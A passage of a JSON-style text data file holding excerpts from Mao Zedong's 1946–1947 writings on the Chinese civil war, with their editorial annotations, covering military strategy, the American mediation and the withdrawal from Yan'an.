这个文件是针对当时对于国际形势的一种悲观估计而写的。一九四六年春季，以美国为首的帝国主义和各国反动派，日益加紧反苏、反共、反人民的活动，鼓吹所谓“美苏必战”，所谓“第三次世界大战必然爆发”。在这种情况下，当时有一些同志，由于过高地估计帝国主义力量，过低地估计人民力量，惧怕美帝国主义，惧怕爆发新的世界战争，因而在美蒋反动派武装进攻的面前，表示软弱，不敢坚决地用革命战争反对反革命战争。毛泽东在这个文件里，反对了这种错误思想。毛泽东指出，只要世界人民力量向世界反动力量进行坚决的和有效的斗争，就可以克服新的世界战争的危险；同时，又指出，帝国主义国家和社会主义国家有可能取得某些妥协，但是这种妥协，“并不要求资本主义世界各国人民随之实行国内的妥协”，“各国人民仍将按照不同情况进行不同斗争”。这个文件，当时没有发表，只在中共中央一部分领导同志中间传阅过。一九四七年十二月的中共中央会议，印发了这个文件。由于到会同志一致同意这个文件的内容，后来将全文收入了中共中央一九四八年一月发出的《关于一九四七年十二月中央会议决议事项的通知》中。"},
    {"text": "以自卫战争粉碎蒋介石的进攻 以自卫战争粉碎蒋介石的进攻 * （一九四六年七月二十日） （一）蒋介石破坏停战协定 〔1〕 ，破坏政协决议 〔2〕 ，在东北占我四平、长春等地后，现在又在华东、华北向我大举进攻，将来亦有可能再向东北进攻。"},
    {"text": "因此，若干地方，若干城市的暂时放弃，不但是不可避免的，而且是必要的。 暂时放弃若干地方若干城市，是为了取得最后胜利，否则就不能取得最后胜利。"},
    {"text": "在农村中，一方面应坚定地解决土地问题，紧紧依靠雇农、贫农，团结中农； 另方面在进行解决土地问题时，应将一般富农、中小地主分子和汉奸、豪绅、恶霸分子，加以区别。 对待汉奸、豪绅、恶霸要放严些，对待富农、中小地主要放宽些。 在一切土地问题已经解决的地方，除少数反动分子外，应对整个地主阶级改取缓和态度。 对一切生活困难的地主给以帮助，对逃亡地主招引其回来，给以生活出路，借以减少敌对分子，使解放区得到巩固。"},
    {"text": "在财政供给上，必须使自卫战争的物质需要得到满足，同时又必须使人民负担较前减轻，使我解放区人民虽然处在战争环境，而其生活仍能有所改善。"},
    {"text": "总之，我们是一切依靠自力更生，立于不败之地，和蒋介石的一切依靠外国，完全相反。 我们是艰苦奋斗，军民兼顾，和蒋介石统治区的上面贪污腐化，下面民不聊生，完全相反。"},
    {"text": "一九四五年《双十协定》签订后蒋介石就不断地破坏这个协定，但是当时他对全面内战还没有准备好，主要是大批国民党军队还没有运到内战前线。"},
    {"text": "因此，在一九四六年一月，国民党政府在全国人民要求和平民主的压力下，仍然不能不召集有中国共产党和其他民主党派参加的政治协商会议，在这个会议上通过一系列有利于和平民主的决议，并且在一月十日发布停战令。"},
    {"text": "到了一九四六年六月底，蒋介石和他的美国主子认为已经有了充分准备，认为可以在三个月至六个月的时间内消灭全部人民解放军，就以六月二十六日大举围攻中原解放区为起点，发动了对解放区的全面进攻。 从七月起到九月止，国民党军队先后向苏皖解放区、山东解放区、晋冀鲁豫解放区、晋察冀解放区、晋绥解放区大举进攻。"},
    {"text": "在全国规模内战爆发的时候，国民党用于进攻解放区的兵力，正规军共达一百九十三个旅（师），约一百六十万人，占其总兵力正规军二百四十八个旅（师）二百万人的百分之八十。"},
    {"text": "当时，解放区共有六个大的作战区域。 这六个作战区域和在这些区域作战的人民解放军是：晋冀鲁豫解放区，在那里作战的是由刘伯承、邓小平等领导的人民解放军； 华东解放区（包括山东解放区和苏皖解放区），在那里作战的是由陈毅、粟裕、谭震林等领导的人民解放军； 东北解放区，在那里作战的是由林彪、罗荣桓等领导的人民解放军； 晋察冀解放区，在那里作战的是由聂荣臻等领导的人民解放军； 晋绥解放区，在那里作战的是由贺龙等领导的人民解放军； 中原解放区，在那里作战的是由李先念、郑位三等领导的人民解放军。"},
    {"text": "但是蒋介石实际上是利用这个停战协定作为布置大战的幌子，在停战令下达的同时，即密令国民党军队“抢占战略要点”，接着又不断地调动军队，向解放区进攻。"},
    {"text": "“国民政府委员由国民政府主席就中国国民党内外人士选任之”，“国民政府主席提请选任各党派人士为国府委员时，由各党派自行提名，但主席不同意时，由各该党派另提人选”； “国民政府主席提请选任无党派人士为国府委员时，如所提人选有为各被选人三分之一所反对者，则主席须重新考虑，另行选任之”。 “国府委员名额之半由国民党人员充任，其余半数由其他各党派及社会贤达充任”。 国民政府委员会抽象地规定为“政府之最高国务机关”，其权力为讨论和决定立法原则、施政方针、军政大计、财政计划和预算以及国民政府主席交议的事项等；"},
    {"text": "这个纲领包括《总则》、《人民权利》、《政治》、《军事》、《外交》、《经济及财政》、《教育及文化》、《善后救济》、《侨务》等九章。"},
    {"text": "在《人民权利》一章中，规定“确保人民享有身体、思想、宗教、信仰、言论、出版、集会、结社、居住、迁徙、通讯之自由”，“严禁司法及警察以外任何机关或个人，有拘捕、审讯及处罚人民之行为，犯者应予惩处”。"},
    {"text": "在《军事》一章中，规定“军队建制应适合国防需要，依民主政制与国情改革军制，实行军党分立，军民分治，改进军事教育，充实装备，健全人事、经理制度，以建设现代化之国军”；"},
    {"text": "在《经济及财政》一章中，规定“防止官僚资本之发展，并严禁官吏利用其权势地位，从事于投机、垄断、逃税、走私、挪用公款与非法使用交通工具”；"},
    {"text": "关于人民之权利义务，规定“凡民主国家人民应享之自由及权利，均应受宪法之保障，不受非法之侵犯”； “关于人民自由，如用法律规定，须出之于保障自由之精神，非以限制为目的”；"},
    {"text": "“军队教育应依建军原则办理，永远超出于党派系统及个人关系以外”； “实行军党分立”，“任何党派及个人不得利用军队为政争之工具”； “实行军民分治”，“凡在军队中任职之现役军人，不得兼任行政官吏”。"},
    {"text": "和美国记者安娜·路易斯·斯特朗<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>的谈话 和美国记者安娜·路易斯· 斯特朗 〔1〕 的谈话 * （一九四六年八月六日） 斯特朗问：你觉得中国的问题，在不久的将来，有政治解决、和平解决的希望没有？"},
    {"text": "答：关于反苏战争的宣传，包括两个方面。 在一方面，美国帝国主义确是在准备着反苏战争的，目前的反苏战争宣传和其他的反苏宣传，就是对于反苏战争的政治准备。"},
    {"text": "但是在目前，在第二次世界大战结束不久的时候，美国反动派如此大吹大擂地强调美苏战争，闹得乌烟瘴气，就使人不能不来看看他们的实际目的。"},
    {"text": "虽然在中国人民面前还存在着许多困难，中国人民在美国帝国主义和中国反动派的联合进攻之下，将要受到长时间的苦难，但是这些反动派总有一天要失败，我们总有一天要胜利。"},
    {"text": "从第二次国内革命战争时期以来，毛泽东曾经多次地指出，革命者必须在战略上，在全体上，藐视敌人，敢于同他们斗争，敢于夺取胜利； 同时，又要在战术上，在策略上，在每一个局部上，在每一个具体斗争问题上，重视敌人，采取谨慎态度，讲究斗争艺术，根据不同的时间、地点和条件，采取适当的斗争形式，以便一步一步地孤立敌人和消灭敌人。 毛泽东一九五八年十二月一日在中共八届六中全会期间写的《关于帝国主义和一切反动派是不是真老虎的问题》一文中指出：“同世界上一切事物无不具有两重性（即对立统一规律）一样，帝国主义和一切反动派也有两重性，它们是真老虎又是纸老虎。 历史上奴隶主阶级、封建地主阶级和资产阶级，在它们取得统治权力以前和取得统治权力以后的一段时间内，它们是生气勃勃的，是革命者，是先进者，是真老虎。 在随后的一段时间，由于它们的对立面，奴隶阶级、农民阶级和无产阶级，逐步壮大，并同它们进行斗争，越来越厉害，它们就逐步向反面转化，化为反动派，化为落后的人们，化为纸老虎，终究被或者将被人民所推翻。"},
    {"text": "”关于必须在战略上藐视敌人战术上重视敌人的问题，参看本书第一卷《中国革命战争的战略问题》的第五章第六节和本卷《关于目前党的政策中的几个重要问题》的第一部分。"},
    {"text": "美国用军舰、飞机运送了国民党军队十四个军共四十一个师，另外八个交通警察总队，共计五十四万余人，到进攻解放区的前线。 美国政府以九万人的海军陆战队在中国登陆，占驻上海、青岛、天津、北平、秦皇岛等重要城市，在华北并为国民党保护交通线。 美国给国民党政府的各种援助，据一九四九年八月五日美国国务院发表的《美国与中国的关系（白皮书）》披露的材料，从一九三七年抗日战争开始到一九四八年，总数共达四十五亿多美元（美国在抗日战争中给予国民党政府的援助，绝大部分也被国民党留作以后进行反人民内战之用）。"},
    {"text": "美国白皮书承认，美国给国民党政府的援助，等于国民党政府“货币支出的百分之五十以上，与该国政府预算相较，在比例上超过战后美国对任何西欧国家的援助数量”。"},
    {"text": "集中优势兵力，各个歼灭敌人 集中优势兵力，各个歼灭敌人 * （一九四六年九月十六日） （一）集中优势兵力、各个歼灭敌人 〔1〕 的作战方法，不但必须应用于战役的部署方面，而且必须应用于战术的部署方面。 （二）在战役的部署方面，当着敌人使用许多个旅 〔2〕 （或团）分几路向我军前进的时候，我军必须集中绝对优势的兵力，即集中六倍、或五倍、或四倍于敌的兵力、至少也要有三倍于敌的兵力，于适当时机，首先包围歼击敌军的一个旅（或团）。"},
    {"text": "这个旅（或团），应当是敌军诸旅中较弱的，或者是较少援助的，或者是其驻地的地形和民情对我最为有利而对敌不利的。 我军以少数兵力牵制敌军的其余各旅（或团），使其不能向被我军围击的旅（或团）迅速增援，以利我军首先歼灭这个旅（或团）。 得手后，依情况，或者再歼敌军一个旅至几个旅（例如我粟谭军在如皋附近，八月二十一、二十二日歼敌交通警察部队五千，八月二十六日又歼敌一个旅，八月二十七日又歼敌一个半旅 〔3〕 。 又如我刘邓军在定陶附近，九月三日至九月六日歼敌一个旅，九月六日下午又歼敌一个旅，九月七日至九月八日又歼敌两个旅 〔4〕 ）；"},
    {"text": "在战役部署上，必须反对那种轻视敌人、因而平分兵力对付诸路之敌、以致一路也不能歼灭、使自己陷于被动地位的错误的作战方法。 （三）在战术的部署方面，当着我军已经集中绝对优势兵力包围敌军诸路中的一路（一个旅或一个团）的时候，我军担任攻击的各兵团（或各部队），不应企图一下子同时全部地歼灭这个被我包围之敌，因而平分兵力，处处攻击，处处不得力，拖延时间，难于奏效。 而应集中绝对优势兵力，即集中六倍、五倍、四倍于敌，至少也是三倍于敌的兵力，并集中全部或大部的炮兵，从敌军诸阵地中，选择较弱的一点（不是两点），猛烈地攻击之，务期必克。"},
    {"text": "但是在抗日时期，我军以分散兵力打游击战为主，以集中兵力打运动战为辅。 在现在的内战时期，情况改变了，作战方法也应改变，我军应以集中兵力打运动战为主，以分散兵力打游击战为辅。"},
    {"text": "（七）在敌处进攻地位、我处防御地位的时候，必须应用这一方法。 在敌处防御地位、我处进攻地位的时候，则应分为两种情况，采取不同的方法。 如果我军兵力多，当地敌军较弱，或者我军出敌不意举行袭击的时候，可以同时攻击若干部分的敌军。 例如，六月五日至六月十日，山东我军同时攻击胶济、津浦两路十几个城镇而占领之 〔5〕 。 又如，八月十日至八月二十一日，我刘邓军攻击陇海路汴徐线十几个城镇而占领之 〔6〕 。"},
    {"text": "（八）我军主力集中歼敌的时候，必须同地方兵团、地方游击队和民兵的积极活动，互相配合。 地方兵团（或部队）在打敌一团一营一连的时候，也适用集中兵力各个歼敌的原则。 （九）集中兵力各个歼敌的原则，以歼灭敌军有生力量为主要目标，不以保守或夺取地方为主要目标。 有些时机，为着集中兵力歼击敌军的目的，或使我军主力避免遭受敌军的严重打击以利休整再战的目的，可以允许放弃某些地方。"},
    {"text": "因此，凡能歼灭敌军有生力量者，均应奖励之。 不但歼灭敌军的正规部队应当受到奖励； 就是歼灭敌军的保安队、还乡队 〔8〕 等反动的地方武装，也应当受到奖励。"},
    {"text": "〔2〕 国民党正规军的编制，原来是一个军下辖三个师或两个师，每师下辖三个团。 一九四六年三月起，国民党分期整编了当时在黄河以南地区的正规军，将原来的军改为整编师，师改编为旅，旅下辖三个团或两个团。"},
    {"text": "华中野战军司令员粟裕、政治委员谭震林指挥十九个团（后增至二十多个团）的兵力，自七月十三日至八月三十一日，在苏中的泰兴、如皋、海安、邵伯一带，集中优势兵力，连续作战七次，歼敌军六个旅、五个交通警察大队，共五万三千余人。"},
    {"text": "〔4〕 一九四六年八月，国民党军队自徐州、郑州一带，分两路进犯晋冀鲁豫解放区。 晋冀鲁豫野战军主力在司令员刘伯承、政治委员邓小平等指挥下，集中优势兵力迎击自郑州出发的一路敌军，自九月三日至九月八日，先后在山东的菏泽、定陶、曹县一带歼灭敌军四个旅共一万七千余人。 〔5〕 一九四六年六月上旬，山东野战军和山东军区所属一部，为了打击国民党收编的在停战令生效后不断向解放区挑衅的伪军，决定在胶济线和津浦线上发动讨逆战役。"},
    {"text": "〔6〕 晋冀鲁豫野战军主力和冀鲁豫军区部队一部，为了配合中原、华东的人民解放军作战，于一九四六年八月十日至二十一日，分数路向驻在陇海路上开封至徐州一线的国民党军出击，先后占领砀山、兰封（今并入兰考）、李庄、杨集等十余座城镇。"},
    {"text": "〔8〕 人民解放战争时期，有一些解放区的地主、恶霸逃到国民党统治区。 国民党把他们组织成为“还乡队”、“还乡团”等反动武装，随国民党军队进攻解放区。"},
    {"text": "美国“调解”真相和中国内战前途 美国“调解”真相和中国内战前途 ——和美国记者斯蒂尔的谈话 （一九四六年九月二十九日） 斯蒂尔问：阁下是否认为美国调解中国内战之举已告失败？如美国政策按目前形式继续实行，则结局将如何？ 毛答：我很怀疑美国政府的政策是所谓调解 〔1〕 。根据美国大量援助蒋介石使得他能够举行空前大规模内战的事实看来，美国政府的政策是在借所谓调解作掩护，以便从各方面加强蒋介石，并经过蒋介石的屠杀政策，压迫中国民主力量，使中国在实际上变为美国的殖民地。这一政策继续实行下去，必将激起全中国一切爱国人民起来作坚决的反抗。 问：中国内战将延长多久？其结果将如何？ 答：如果美国政府放弃现行援蒋政策，撤退驻华美军，实行莫斯科苏美英三国外长会议的协定 〔2〕 ，则中国内战必能早日结束。如果不是这样，就有变为长期战争的可能。其结果，一方面，当然是中国人民受痛苦；但是，另一方面，中国人民必将团结起来，保卫自己的生存，决定自己的命运。不管怎样艰难困苦，中国人民的独立、和平、民主的任务是一定要实现的。任何本国和外国的压迫力量，不可能阻止这一任务的实现。 问：阁下是否认为蒋介石是中国人民的“当然领袖”？共产党是否将在任何情况之下都不接受蒋介石的五项要求 〔3〕 ？如果国民党企图召集一个无共产党参加的国民大会 〔4〕 ，则共产党将采取何种行动？ 答：世界上无所谓“当然领袖”。蒋介石如能按照今年一月间的停战协定 〔5〕 和政治协商会议 〔6〕 的共同决议处理中国政治军事经济等项问题，而不是按照所谓“五项”或十项违反上述协定和决议的片面要求，那末，我们是仍然愿意和他共事的。国民大会只应当按照政治协商会议的决议由各党派共同负责去召集，否则我们将采取坚决反对的态度。 注 释 〔1〕 一九四五年十二月，美国政府派马歇尔为总统特使来华，以“调解国共军事冲突”为名，从各方面加强美国侵略势力和国民党反动派的统治地位。蒋介石为着争取时间布置内战，在表面上接受了中国共产党和中国人民关于停止内战的要求。一九四六年一月，国民党政府的代表和中国共产党的代表签订了停战协定，发布了停战令，并组成了有美国代表参加的“三人小组”和“北平军事调处执行部”。在进行所谓“调处”的时期内，美方首先在东北，后来又在华北、华东、华中，协助国民党军队进犯解放区，并积极训练和装备国民党军队，供给蒋介石以大量的军火和其他作战物资。至一九四六年六月，蒋介石已将国民党正规军总兵力（大约二百万人）的百分之八十调集到进攻解放区的前线，其中有五十四万多人是美国武装部队直接用军舰、飞机帮助运送的。蒋介石在布置就绪之后，即于六月下旬发动了全国规模的反革命战争。接着，马歇尔就在八月十日和美国驻中国大使司徒雷登发表联合声明，宣布“调处”失败，以便让蒋介石放手打内战。 〔2〕 指一九四五年十二月苏、美、英三国外长莫斯科会议关于中国问题的协议。在莫斯科会议公报中，三国外长重申坚持不干涉中国内政的政策；苏美外长并一致同意苏美两国军队尽早撤离中国。苏联忠实地履行了这个协议。只是由于国民党政府的一再请求，苏联军队才推迟了撤军的时间。一九四六年五月三日，苏军即全部从中国东北境内撤出。但美国政府却完全违背了自己的诺言，拒不撤走自己的军队，并且变本加厉地干涉中国内政。 〔3〕 一九四六年六月中旬，蒋介石曾向中国共产党提出了一些无理要求。同年八月，蒋介石又提出五项要求，要中国人民解放军退出下列各地：一、陇海路以南的一切地区；二、胶济线全线；三、承德和承德以南的地区；四、东北的大部分；五、一九四六年六月七日以后解放区人民武装在山东、山西两省从伪军手里解放出来的一切地区。蒋介石还声称只有中共方面承认了这些要求，才能考虑停止内战。中国共产党坚决地拒绝了这些无理的要求。 〔4〕 按照一九四六年一月政治协商会议的决议和会议中协商的精神，国民大会应该是各党派参加的民主的团结的大会，必须在政协各项协议付诸实施之后，在改组后的政府领导之下才能召开。但是国民党反动派违反政协决议，在同年六月下旬发动全国性内战，十月十一日国民党军队占领张家口，蒋介石被这一“胜利”冲昏了头脑，即于当日下令召开国民大会。十一月十五日至十二月二十五日这个由国民党一手包办的“国民大会”在南京召开。除青年党、民社党及极少数“社会贤达”外，中国共产党和各民主党派、各人民团体均拒绝参加并严正声明不承认这个国民大会，使蒋介石国民党在政治上陷于孤立。 〔5〕 见本卷《以自卫战争粉碎蒋介石的进攻》注〔1〕。 〔6〕 见本卷《以自卫战争粉碎蒋介石的进攻》注〔2〕。"},
    {"text": "（二）除了政治上经济上的基本矛盾，蒋介石无法克服，为我必胜蒋必败的基本原因之外，在军事上，蒋军战线太广与其兵力不足之间，业已发生了尖锐的矛盾。"},
    {"text": "而这些任野战的兵力进到一定地区，又必不可免地要以一部至大部改任守备。 敌人的野战军，一方面，不断地被我歼灭，另方面，大量地担任守备，因此，它就必定越打越少。"},
    {"text": "（五）三个月被我歼灭的二十五个旅中，计汤恩伯（原为李默庵）七个旅，薛岳两个旅，顾祝同（原为刘峙）七个旅，胡宗南两个旅，阎锡山四个旅，王耀武两个旅，杜聿明一个旅。 除李宗仁、傅作义、马鸿逵、程潜四部，尚未受到我军歼灭性的打击之外，其余七部，或者受到我军相当严重的打击，或者受了初步的打击。 受我严重打击者，有杜聿明（包括今年二月至六月在东北的作战）、汤恩伯、顾祝同、阎锡山。 受我初步打击者，有薛岳、胡宗南、王耀武。"},
    {"text": "可以预计，在歼灭第二个二十五个旅这一任务完成的时候，我军必能夺取战略上的主动，由防御转入进攻。 那时的任务，是歼灭敌军第三个二十五个旅。"},
    {"text": "（八）过去三个月内，我中原解放军以无比毅力克服艰难困苦，除一部已转入老解放区外，主力在陕南、鄂西两区，创造了两个游击根据地 〔3〕 。"},
    {"text": "（九）过去三个月战争，吸引了蒋介石原拟调赴东北的几支有力部队于关内，使我们在东北得到休整军队、发动群众的时间，这对将来斗争也有重大的意义。"},
    {"text": "（十三）三个月经验证明：在一月至六月休战期间，凡依照中央指示加紧进行了军事训练的军队（中央曾反复指示各地应以练兵、生产和土地改革等三项工作为中心任务），其作战效能就高些，否则效能就低得很多。"},
    {"text": "（十四）三个月经验证明：凡坚决和迅速地执行了中央五月四日的指示 〔5〕 ，深入和彻底地解决了土地问题的地方，农民即和我党我军站在一道反对蒋军进攻。 凡对《五四指示》执行得不坚决，或布置太晚，或机械地分为几个阶段，或借口战争忙而忽视土地改革的地方，农民即站在观望地位。"},
    {"text": "（十五）三个月经验证明：凡民兵、游击队、武装工作队等地方武装组织得好的地方，虽然被敌人暂时占领许多的点线，我们仍能控制广大的乡村。"},
    {"text": "（十八）三个月以来，国民党区最广大阶层的人民，包括民族资产阶级在内，对于国民党和美国政府互相勾结，发动内战，压迫人民这一种情况的认识，很快地提高了。"},
    {"text": "这个指示，详细地总结了一九四六年七月全国规模内战爆发以来的三个月战争的一系列经验，提出了人民解放军在今后的作战方针和作战任务，指出了人民解放战争在克服一个时期的困难以后必然能够取得胜利。"},
    {"text": "对于支持和配合人民解放战争所需要解决的解放区内部的土地改革问题，发展解放区的生产问题，加强国民党统治区的群众斗争的领导问题，以及其他有关问题，这个文件也作了原则的说明。"},
    {"text": "〔3〕 一九四六年六月底，李先念、郑位三等领导的中原军区部队在国民党军队三十万人的包围进攻下开始主动地作战略转移，胜利地突出了敌人的包围。"},
    {"text": "在陕南创造的游击根据地，是指由李先念、郑位三率领一部主力突围到达陕南后，与当地游击队会合，在卢氏、洛南、灵宝、潼关、华阴等地创建的豫鄂陕游击根据地。 在鄂西创造的游击根据地，是指由王树声率领的另一部主力突围后进入武当山区，创建了以武当山为中心的鄂西北游击根据地。"},
    {"text": "〔7〕 见本卷《以自卫战争粉碎蒋介石的进攻》注〔1〕。 〔8〕 见本卷《以自卫战争粉碎蒋介石的进攻》注〔2〕。 〔9〕 参见本卷《美国“调解”真相和中国内战前途》注〔1〕。"},
    {"text": "蒋军士气日益下降。 最近在苏北、鲁南、鲁西、晋西等地几次作战中，许多蒋军部队士气的下降已到了很大的程度。 我军已在几个战场上开始夺取了主动，蒋军则开始失去了主动。"},
    {"text": "蒋介石共有正规军步骑九十三个师（军），二百四十八个旅（师），一百九十一万六千人，伪军、警察、地方保安部队、交通警察部队、后勤部队和技术兵种等，都未计算在内。 进攻解放区的为七十八个师（军），二百一十八个旅（师），一百七十一万三千人，约占蒋军正规军兵力百分之九十。"},
    {"text": "去年十一月三十日因国民党压迫摊贩而引起的上海市民骚动 〔1〕 和去年十二月三十日因美军强奸中国女学生而引起的北平学生运动 〔2〕 ，标志着蒋管区人民斗争的新高涨。"},
    {"text": "（四）解放区人民解放军的胜利和蒋管区人民运动的发展，预示着中国新的反帝反封建斗争的人民大革命毫无疑义地将要到来，并可能取得胜利。"},
    {"text": "（五）这一形势，是在美国帝国主义及其走狗蒋介石代替日本帝国主义及其走狗汪精卫的地位，采取了变中国为美国殖民地的政策、发动内战的政策和加强法西斯独裁统治的政策的情况之下形成的。"},
    {"text": "还在前年四月，我党第七次全国代表大会即曾预见美蒋实施这些反动政策的可能性，并为战胜这些反动政策而制定了完整的和完全正确的政治路线。"},
    {"text": "（七）由于蒋介石政府长期施行反动的财政经济政策，由于蒋介石的官僚买办资本在著名的卖国条约——中美商约 〔5〕 中同美国的帝国主义资本相结合，使恶性通货膨胀迅速发展，中国民族工商业日趋于破产，劳动群众和公教人员的生活日趋于恶化，为数众多的中等阶级分子日益丧失了他们的积蓄而变为毫无财产的人，罢工、罢课等项斗争因之不断发生。"},
    {"text": "蒋介石为了继续内战，恢复了抗日时期极端恶劣的征兵、征粮制度，这将迫使广大的乡村人民首先是贫苦农民不能生活，因而民变运动已经起来，并将继续发展。"},
    {"text": "蒋介石反动统治集团已将青年党、民社党 〔7〕 两个历来在社会上毫无威信的小党派和某些所谓“社会贤达”拉拢到自己方面，并且中间派队伍中预计今后还可能有一部分人投到反动派方面去，这是因为中国民主势力日益壮大和反动势力日益孤立，所以敌我两条阵线不得不划分得这样清楚。"},
    {"text": "一切隐藏在民主阵线中欺骗人民的分子，最后都将露出自己的原形而为人民所唾弃，而人民的反帝反封建的队伍则将因为同隐藏的反动分子分清了界限，而更加壮大起来。"},
    {"text": "苏联力量的增长及其外交政策的胜利，世界各国人民的日益左倾及其反对本国和外国反动势力的斗争的日益发展，这两大因素，已经迫使并将继续迫使美帝国主义及其在各国的走狗日益陷于孤立。"},
    {"text": "（十）为着取得休息时间补充军队，重新进攻，为着向美国取得新的借款和军火，为着缓和人民的愤怒，蒋介石又在施行新的骗术，要求和我党恢复所谓和谈 〔8〕 。"},
    {"text": "总之，在农村土地改革运动中，务须团结赞成土地改革的百分之九十以上的群众，孤立反对土地改革的少数封建反动分子，以期迅速完成实现耕者有其田的任务。"},
    {"text": "中国反帝反封建斗争的长期性，中外反动派将继续用全力反对中国人民，蒋管区的法西斯统治将更加紧，解放区的某些部分将暂时变为沦陷区或游击区，部分的革命力量可能暂时遭受损失，在长期战争中人力物力将受到消耗，凡此种种，全党同志都必须充分地估计到，并准备用百折不回的毅力，有计划地克服所有的困难。"},
    {"text": "这个大量出卖中国主权的条约，共有三十条，其主要内容是：第一，美国人有在中国“领土全境内”居住，旅行，从事商务、制造、加工、科学、教育、宗教、慈善事业，采勘和开发矿产资源，租赁和保有土地，以及从事各种职业的权利。"},
    {"text": "第三，美国船舶可以在中国开放的任何口岸、地方或领水内自由航行，其人员和物品有经由“最便捷之途径”通过中国领土的自由。 美国船舶，包括军舰在内，可以在遇到“任何危难”的借口下，开入中国“对外国商务或航业不开放之任何口岸、地方或领水”。"},
    {"text": "〔8〕 一九四七年一月十六日，国民党政府由于它的军事进攻的不断失败和军事形势的日益恶化，为了取得喘息时间，准备再攻，经过美国驻中国大使司徒雷登向中国共产党要求允许派遣代表到延安进行“和平谈判”。"},
    {"text": "中国共产党指出，恢复谈判，必须实现两个最低条件，即（一）废除国民党违背政治协商会议协议制定的伪宪法，（二）国民党军队退出一九四六年一月十三日停战协定生效以后侵占的解放区的一切土地；"},
    {"text": "国民党政府看到“和平”骗术无法实施，即于二月二十七日、二十八日，先后通知中国共产党驻在南京、上海、重庆等地担任谈判联络工作的代表全部撤退，宣布国共谈判完全破裂。"},
    {"text": "〔10〕 填平补齐，是在土地改革比较彻底的老区，为了解决某些贫雇农土地和其他生产资料不足以及土地改革中遗留下的其他问题，在较小的范围内，采用抽肥补瘦、抽多补少的办法，合理地调剂土地和其他生产资料。"},
    {"text": "中共中央关于暂时放弃延安和保卫陕甘宁边区的两个文件 中共中央关于暂时放弃延安 和保卫陕甘宁边区的两个文件 * （一九四六年十一月、一九四七年四月） 一 一九四六年十一月十八日的指示 蒋介石日暮途穷，欲以开“国大” 〔1〕 、打延安两项办法，打击我党，加强自己。其实，将适得其反。中国人民坚决反对蒋介石一手包办的分裂的“国民大会”，此会开幕之日，即蒋介石集团开始自取灭亡之时。蒋介石军队在被我歼灭了三十五个旅 〔2〕 之后，在其进攻能力快要枯竭之时，即使用突袭方法，占领延安，亦无损于人民解放战争胜利的大局，挽救不了蒋介石灭亡的前途。总之，蒋介石自走绝路，开“国大”、打延安两着一做，他的一切欺骗全被揭破，这是有利于人民解放战争的发展的。各地对于蒋介石开“国大”、打延安两点，应向党内外作充分说明，团结全党全军和全体人民，为粉碎蒋介石进攻、建立民主的中国而奋斗。 二 一九四七年四月九日的通知 国民党为着挽救其垂死统治，除了采取召开伪国大，制定伪宪法，驱逐我党驻南京、上海、重庆等地代表机关，宣布国共破裂 〔3〕 等项步骤之外，又采取进攻我党中央和人民解放军总部所在地之延安和陕甘宁边区一项步骤。 国民党之所以采取这些步骤，丝毫不是表示国民党统治的强有力，而是表示国民党统治的危机业已异常深刻化。其进攻延安和陕甘宁边区，还为着妄图首先解决西北问题，割断我党右臂，并且驱逐我党中央和人民解放军总部出西北，然后调动兵力进攻华北，达到其各个击破之目的。 在上述情况下，中央决定： 一、必须用坚决战斗精神保卫和发展陕甘宁边区和西北解放区，而此项目的是完全能够实现的。 二、我党中央和人民解放军总部必须继续留在陕甘宁边区。此区地形险要，群众条件好，回旋地区大，安全方面完全有保障。 三、同时，为着工作上的便利，以刘少奇同志为书记，组织中央工作委员会，前往晋西北或其他适当地点进行中央委托之工作 〔4〕 。 以上三项，为上月所决定，业已分别实行。特此通知。 注 释 * 毛泽东起草的这两个文件，一个是在一九四六年冬季国民党军队准备进攻延安的时候在延安写的，一个是在国民党军队已经在一九四七年三月十九日占领延安以后的二十天在陕北靖边县青阳岔写的。蒋介石在全面进攻解放区的计划破产以后，为了挽救自己的垂死统治，采取了召开伪国民大会，驱逐中国共产党驻在南京、上海、重庆的代表，进攻中共中央所在地延安等项疯狂的步骤。蒋介石采取这些步骤的结果，如本文所说，在政治上完全是自取灭亡。在军事上，他企图集中兵力于解放区的东西两翼，即山东解放区和陕甘宁解放区，实行所谓重点进攻，结果也完全失败。进攻陕甘宁边区的国民党军兵力达到二十五万人，西北战场的人民解放军在陕甘宁边区的部队只有两万多人，因而国民党军曾经先后占领过人民解放军主动放弃的延安和陕甘宁边区的所有县城。但是国民党军不但没有达到消灭中共中央首脑机关和陕甘宁边区的人民解放军或者把它们赶到黄河以东的目的，而且受到人民解放军多次的沉重打击，损失兵力约达十万人，最后不得不逃出边区，而人民解放军胜利地转入解放大西北的进攻。同时，西北战场人民解放军以很少兵力吸引和歼灭了敌军的大量主力部队，也有力地支援了其他战场首先是晋冀鲁豫战场人民解放军的作战，帮助他们较快地转入进攻。毛泽东和中共中央、人民解放军总部，从一九四七年三月人民解放军撤出延安起，到一年以后人民解放军在西北战场转入进攻止，一直留在陕甘宁边区，这个事实具有重大的政治意义。它极大地鼓舞了和增强了陕甘宁边区以及全国解放区军民的战斗意志和胜利信心。毛泽东在留驻陕甘宁边区期间，不但继续指导了全国各个战场的人民解放战争，而且直接指挥了西北战场的人民解放战争，胜利地达到了本文所提出的“用坚决战斗精神保卫和发展陕甘宁边区和西北解放区”的目的。关于西北战场的作战，参看本卷《关于西北战场的作战方针》和《评西北大捷兼论解放军的新式整军运动》两文。 〔1〕 “国大”，即“国民大会”。见本卷《美国“调解”真相和中国内战前途》注〔4〕。 〔2〕 这是一九四六年七月初到十一月十三日的统计。 〔3〕 一九四七年二月二十七日、二十八日，国民党政府强迫中国共产党驻在南京、上海、重庆等地担任谈判联络工作的全部代表和工作人员，限于三月五日前撤退。一九四七年三月十五日，国民党召开六届三中全会，蒋介石在会上宣称国共破裂，决心作战到底。 〔4〕 人民解放军于一九四七年三月十九日撤出延安后，中共中央书记处的三位书记，即毛泽东、周恩来和任弼时，继续留在陕甘宁边区领导全国的解放战争；另两位书记刘少奇、朱德和其他一部分中央委员组成以刘少奇为首的中共中央工作委员会，经晋绥解放区进入晋察冀解放区，到河北省平山县西柏坡村进行中央委托的工作。一九四八年五月，中共中央和毛泽东到达西柏坡村以后，中共中央工作委员会即行结束。"},
